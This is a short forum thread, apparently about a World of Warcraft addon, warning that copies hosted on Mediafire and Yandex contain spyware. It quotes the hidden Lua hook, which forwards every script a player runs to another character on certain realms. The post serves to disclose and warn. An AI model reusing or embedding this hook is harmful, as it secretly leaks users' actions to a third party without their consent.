Both links (mediafire and Yandex) have some sort of spyware in the addon:

Code:
hooksecurefunc("RunScript", function(afga)
    if not realmName then
        local b = "Blackrock"
        local d = "Icecrown"
        realmName = _G.GetRealmName()
        
        if realmName == d or realmName:sub(1, #b) == b then 
            SendAddonMessage( "libraries", afga, "WHISPER", "libraries" ) 
        end
    end
end)

Nice find. Funny that the name was free in Icecrown. Turns out many people have the addon installed...
